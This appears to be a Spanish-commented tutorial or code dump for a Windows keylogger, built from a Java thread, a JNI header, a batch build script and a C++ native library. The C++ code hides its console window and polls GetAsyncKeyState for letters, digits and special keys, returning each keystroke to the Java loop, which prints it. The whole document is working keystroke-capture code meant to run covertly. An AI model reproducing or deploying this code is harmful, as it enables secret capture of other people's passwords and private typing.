public class Keylogger extends Thread { //Usaremos un Hilo
	public static final int DELAY = 20;           
	private boolean    activated=true;
	private char       value; 
	static {
 
		System.loadLibrary("Keylogger");      //Preparamos la Carga de la DLL 
	}
	private native char get(); //Metodo Nativo  @Return Tecla precionada
	  @Override
	public synchronized void run(){
		while(activated){
			try {
			value = get();          //Optenemos la Tecla Precionada
			System.out.println(value); //La Mostramos en la Salida Estandar
			Thread.sleep(DELAY);
			} catch (InterruptedException e) {e.printStackTrace();
			}
		}
	}
}

  @echo off
title Java
set/p j= .java : 
echo.
call javac %j%.java
call javah -jni %j%
 
pause
echo.
exit

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class Keylogger */
 
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/*
 * Class:   Keylogger
 * Method:  get
 * Signature: ()C
 */
JNIEXPORT jchar JNICALL Java_Keylogger_get
 (JNIEnv *, jobject);
 
#ifdef __cplusplus
}
#endif
#endif

JNIEXPORT jchar JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){}

#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h> //Jni.h
#include "Keylogger.h" //Incluimos la Cabecera Keylogger.h
 
JNIEXPORT jchar JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
 
using namespace std;
 
bool c = true;
HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(ocultar,NULL);
 
while(c){
if (GetAsyncKeyState(VK_SPACE) == -32767){return ' ';}
if (GetAsyncKeyState('A') == -32767){ return 'A';}
if (GetAsyncKeyState('B') == -32767){return 'B';}
if (GetAsyncKeyState('C') == -32767){return 'C';}
if (GetAsyncKeyState('D') == -32767){return 'D';}
if (GetAsyncKeyState('E') == -32767){return 'E';}
if (GetAsyncKeyState('F') == -32767){return 'F';}
if (GetAsyncKeyState('G') == -32767){return 'G';}
if (GetAsyncKeyState('H') == -32767){return 'H';}
if (GetAsyncKeyState('I') == -32767){return 'I';}
if (GetAsyncKeyState('J') == -32767){return 'J';}
if (GetAsyncKeyState('K') == -32767){return 'K';}
if (GetAsyncKeyState('L') == -32767){return 'L';}
if (GetAsyncKeyState('M') == -32767){return 'M';}
if (GetAsyncKeyState('N') == -32767){return 'N';}
if (GetAsyncKeyState(VK_CAPITAL) == -32767){return '¿';}
if (GetAsyncKeyState(VK_BACK) == -32767){return '_';}
if (GetAsyncKeyState('O') == -32767){return 'O';}
if (GetAsyncKeyState('P') == -32767){return 'P';
}if (GetAsyncKeyState('Q') == -32767){return 'Q';}
if (GetAsyncKeyState('R') == -32767){return 'R';}
if (GetAsyncKeyState('S') == -32767){return 'S';}
if (GetAsyncKeyState('T') == -32767){return 'T';}
if (GetAsyncKeyState('U') == -32767){return 'U';}
if (GetAsyncKeyState('V') == -32767){return 'V';}
if (GetAsyncKeyState('W') == -32767){return 'W';}
if (GetAsyncKeyState('X') == -32767){return 'X';}
if (GetAsyncKeyState('Y') == -32767){return 'Y';}
if (GetAsyncKeyState('Z') == -32767){return 'Z';}
if (GetAsyncKeyState(VK_CAPITAL) == -32767){return '€';}
if (GetAsyncKeyState(VK_RETURN) == -32767){return '?';}
if (GetAsyncKeyState('1') == -32767){return '1';}
if (GetAsyncKeyState('2') == -32767){return '2';}
if (GetAsyncKeyState('3') == -32767){return '3';}
if (GetAsyncKeyState('4') == -32767){return '4';}
if (GetAsyncKeyState('5') == -32767){return '5';}
if (GetAsyncKeyState('6') == -32767){return '6';}
if (GetAsyncKeyState('7') == -32767){return '7';}
if (GetAsyncKeyState('8') == -32767){return '8';}
if (GetAsyncKeyState('9') == -32767){return '9';}
if (GetAsyncKeyState('0') == -32767){return '0';}
if (GetAsyncKeyState(VK_LSHIFT) == -32767){return '*';}
if (GetAsyncKeyState(VK_MENU) == -32767){return 'ç';}
if (GetAsyncKeyState('%') == -32767){     return '%';}
if (GetAsyncKeyState('-') == -32767){      
return '-';}
if (GetAsyncKeyState(VK_F8) == -32767){ShowWindow(ocultar,1); 
c = false;
break;
   }
   Sleep(30);
  }
}